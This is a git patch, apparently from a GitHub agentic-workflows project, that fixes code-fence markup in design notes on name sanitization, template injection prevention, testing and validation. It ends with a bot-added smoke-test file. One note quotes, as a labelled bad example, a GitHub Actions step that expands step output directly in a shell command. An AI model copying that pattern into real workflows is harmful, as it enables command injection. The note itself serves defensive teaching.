100644 --- a/scratchpad/string-sanitization-normalization.md +++ b/scratchpad/string-sanitization-normalization.md @@ -55,7 +55,7 @@ opts := &SanitizeOptions{ } result := SanitizeName("@@@", opts) // Returns: "default-name" -```text +``` **Use case**: When you need custom sanitization behavior with specific character preservation rules. @@ -68,7 +68,7 @@ Sanitizes workflow names for use in artifact names and file paths. ```go result := SanitizeWorkflowName("My Workflow: Test/Build") // Returns: "my-workflow-test-build" -```text +``` **Use case**: Artifact names, file paths where dots and underscores are valid. @@ -84,7 +84,7 @@ result := SanitizeIdentifier("My Workflow") result := SanitizeIdentifier("@@@") // Returns: "github-agentic-workflow" (default) -```text +``` **Use case**: User agent strings, identifiers that must be purely alphanumeric with hyphens. @@ -105,7 +105,7 @@ result := normalizeWorkflowName("weekly-research.lock.yml") result := normalizeWorkflowName("weekly-research") // Returns: "weekly-research" -```text +``` **Use case**: Converting between workflow file names and workflow IDs. @@ -121,7 +121,7 @@ result := normalizeSafeOutputIdentifier("create-issue") result := normalizeSafeOutputIdentifier("add-comment") // Returns: "add_comment" -```text +``` **Use case**: Ensuring consistency in safe output identifiers while remaining resilient to LLM-generated variations. @@ -150,7 +150,7 @@ When accepting user input that needs to become a valid identifier: // User provides: "My-Project: Feature/Test" sanitized := SanitizeIdentifier("My-Project: Feature/Test") // Result: "my-project-feature-test" -```text +``` ### Pattern 2: Workflow File Resolution @@ -164,7 +164,7 @@ normalized := normalizeWorkflowName(userInput) // Use normalized ID to find files: // - .github/workflows/weekly-research.md // - .github/workflows/weekly-research.lock.yml -```text +``` ### Pattern 3: Safe Output Identifier Consistency @@ -174,7 +174,7 @@ When handling safe output identifiers that may use different conventions: // From YAML: "create-issue" or "create_issue" normalized := normalizeSafeOutputIdentifier(identifier) // Result: "create_issue" (consistent internal format) -```text +``` ## Anti-Patterns @@ -185,7 +185,7 @@ normalized := normalizeSafeOutputIdentifier(identifier) normalized := normalizeWorkflowName("weekly-research.md") // normalized = "weekly-research" sanitized := SanitizeWorkflowName(normalized) // Unnecessary! -```text +``` **Why**: Normalization produces valid identifiers. Sanitizing again adds unnecessary processing and may produce unexpected results if the normalize function's output changes. @@ -196,7 +196,7 @@ sanitized := SanitizeWorkflowName(normalized) // Unnecessary! userInput := "My Workflow: Test/Build" normalized := normalizeWorkflowName(userInput) // Wrong tool! // normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain) -```text +``` **Why**: Normalize functions don't validate or fix character validity. Use sanitize functions for this purpose. @@ -208,7 +208,7 @@ input := "my-workflow.md" normalized := normalizeWorkflowName(input) // "my-workflow" sanitized := SanitizeWorkflowName(normalized) // "my-workflow" // Result is same as just normalizing - sanitize was unnecessary -```text +``` **Why**: If the input is already a valid workflow file name, normalizing is sufficient. Only sanitize if the input might contain invalid characters. @@ -260,7 +260,7 @@ func ResolveWorkflowName(workflowInput string) (string, error) { // No sanitization needed - normalizeWorkflowName output is already valid // ... } -```text +``` **Pattern used**: NORMALIZE (format standardization) **Why**: Input is a file name or workflow ID that needs extension removal, not character validation. @@ -276,7 +276,7 @@ func SanitizeIdentifier(name string) string { DefaultValue: "github-agentic-workflow", // Fallback }) } -```text +``` **Pattern used**: SANITIZE (character validity) **Why**: Input might contain invalid characters that need to be removed for a valid identifier. @@ -289,7 +289,7 @@ func normalizeSafeOutputIdentifier(identifier string) string { // Convert dashes to underscores: "create-issue" -> "create_issue" return strings.ReplaceAll(identifier, "-", "_") } -```text +``` **Pattern used**: NORMALIZE (format standardization) **Why**: Both formats are valid, but internal representation uses underscores for consistency. diff --git a/scratchpad/template-injection-prevention.md b/scratchpad/template-injection-prevention.md index cb26721951c..65242008dc5 100644 --- a/scratchpad/template-injection-prevention.md +++ b/scratchpad/template-injection-prevention.md @@ -20,7 +20,7 @@ steps: - name: My Step run: | echo "Value: ${{ steps.previous.outputs.value }}" -```text +``` If the output value contains malicious content, it could be executed when the template is expanded. @@ -34,7 +34,7 @@ steps: MY_VALUE: ${{ steps.previous.outputs.value }} run: | echo "Value: $MY_VALUE" -```text +``` By passing the value through an environment variable, the content is treated as data, not executable code. @@ -56,7 +56,7 @@ graph TB D2 --> E2[No Code Execution] style E2 fill:#8f8,stroke:#0f0 end -```text +``` ## Changes Made @@ -84,7 +84,7 @@ graph TB + echo "::warning::Extension installation status from previous step: $EXTENSION_INSTALLED" echo "::warning::This workflow requires GitHub Enterprise Copilot access" # ... -```text +``` ### mcp-inspector.md diff --git a/scratchpad/testing.md b/scratchpad/testing.md index a0fb3b96708..df0ba742fb9 100644 --- a/scratchpad/testing.md +++ b/scratchpad/testing.md @@ -233,7 +233,7 @@ go test -fuzz=FuzzExpressionParser -fuzztime=1m ./pkg/workflow/ # Run seed corpus only (no fuzzing) go test -run FuzzExpressionParser ./pkg/workflow/ -```text +``` **Available Fuzz Tests:** - **FuzzParseFrontmatter** (`pkg/parser/frontmatter_fuzz_test.go`): Tests YAML frontmatter parsing for edge cases and malformed input @@ -264,7 +264,7 @@ Fuzz tests can be run in CI with time limits: ```yaml - name: Fuzz test expression parser run: go test -fuzz=FuzzExpressionParser -fuzztime=30s ./pkg/workflow/ -```text +``` ### 3. Security Regression Tests (`*_security_regression_test.go`) @@ -282,7 +282,7 @@ go test -v -run '^TestSecurity' ./pkg/workflow/... ./pkg/cli/... go test -v -run 'TestSecurityTemplate' ./pkg/workflow/ go test -v -run 'TestSecurityDoS' ./pkg/workflow/ go test -v -run 'TestSecurityCLI' ./pkg/cli/ -```text +``` **Security Test Categories:** @@ -350,7 +350,7 @@ go test -bench=. -benchtime=3x -run=^$ ./pkg/... > bench_baseline.txt # ... make changes ... go test -bench=. -benchtime=3x -run=^$ ./pkg/... > bench_new.txt benchstat bench_baseline.txt bench_new.txt -```text +``` **Note**: Benchmarks use `-benchtime=3x` (3 iterations) for fast CI execution. For more accurate measurements, use `-benchtime=100x` or longer durations. @@ -406,7 +406,7 @@ make test-security # Run validation go run test_validation.go -```text +``` ### Test Results Summary - **Unit Tests**: ⚠️ Partial - Parser & Workflow packages pass, CLI package has known failures (see #48) diff --git a/scratchpad/validation-architecture.md b/scratchpad/validation-architecture.md index 00358a16447..54937406c63 100644 --- a/scratchpad/validation-architecture.md +++ b/scratchpad/validation-architecture.md @@ -326,7 +326,7 @@ func validateExpressionSafety(markdownContent string) error { } return nil } -```text +``` **When to use**: - Security-sensitive validation @@ -354,7 +354,7 @@ func validateDockerImage(image string, verbose bool) error { } return nil } -```text +``` **When to use**: - Validating external dependencies @@ -386,7 +386,7 @@ func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error { } return nil } -```text +``` **When to use**: - Configuration file validation @@ -424,7 +424,7 @@ func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermiss return nil } -```text +``` **When to use**: - Multiple related validation steps @@ -458,7 +458,7 @@ func (c *Compiler) validatePythonPackagesWithPip(packages []string, packageType } } } -```text +``` **When to use**: - Optional dependency validation @@ -484,7 +484,7 @@ for _, item := range items { if len(errors) > 0 { return fmt.Errorf("validation failed:\n - %s", strings.Join(errors, "\n - ")) } -```text +``` ### Verbose Logging @@ -499,7 +499,7 @@ func validateSomething() error { validationLog.Printf("Validated %d items", count) return nil } -```text +``` Enable with: `DEBUG=workflow:validation gh aw compile` @@ -523,7 +523,7 @@ fmt.Fprintln(os.Stderr, console.FormatErrorMessage(err.Error())) if c.verbose { fmt.Fprintln(os.Stderr, console.FormatInfoMessage("Validating configuration...")) } -```text +``` ## Testing Validation @@ -561,7 +561,7 @@ func TestValidateExpressionSafety(t *testing.T) { }) } } -```text +``` ### Integration Tests @@ -585,7 +585,7 @@ func TestStrictModeValidation(t *testing.T) { t.Error("expected strict mode to reject write permissions") } } -```text +``` ## Contributing: Adding New Validation @@ -618,7 +618,7 @@ Each validation function should have a comment explaining: func validateDockerImage(image string, verbose bool) error { // Implementation } -```text +``` ### 4. Include Tests @@ -632,7 +632,7 @@ Format error messages for readability: ```go return fmt.Errorf("validation failed for %s: %w", item, err) -```text +``` Collect multiple errors: @@ -640,7 +640,7 @@ Collect multiple errors: var errors []string // ... collect errors return fmt.Errorf("validation failed:\n - %s", strings.Join(errors, "\n - ")) -```text +``` ### 6. Add Logging @@ -655,7 +655,7 @@ func validateSomething() error { myLog.Printf("Validated %d items", count) return nil } -```text +``` ### 7. Update Documentation @@ -676,7 +676,7 @@ func validateRequired(value interface{}, fieldName string) error { } return nil } -```text +``` ### Validating Against Allowlist @@ -691,7 +691,7 @@ func validateEngine(engine string) error { } return fmt.Errorf("unsupported engine: %s (allowed: %v)", engine, allowedEngines) } -```text +``` ### Validating External Resources @@ -706,7 +706,7 @@ func validateResourceExists(url string) error { } return nil } -```text +``` ### Validating Repository Features @@ -720,7 +720,7 @@ func (c *Compiler) validateRepositoryFeatures(workflowData *WorkflowData) error return nil } -```text +``` ## References From b1daeb0f7b316396cc0954022e495537613755fb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Feb 2026 00:57:58 +0000 Subject: [PATCH 2/2] test: Add smoke test file for run 22422877284 --- scratchpad/smoke-test-22422877284.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 scratchpad/smoke-test-22422877284.md diff --git a/scratchpad/smoke-test-22422877284.md b/scratchpad/smoke-test-22422877284.md new file mode 100644 index 00000000000..426f3aeedee --- /dev/null +++ b/scratchpad/smoke-test-22422877284.md @@ -0,0 +1,3 @@ +# Smoke Test - Run 22422877284 + +Test file added by smoke test agent.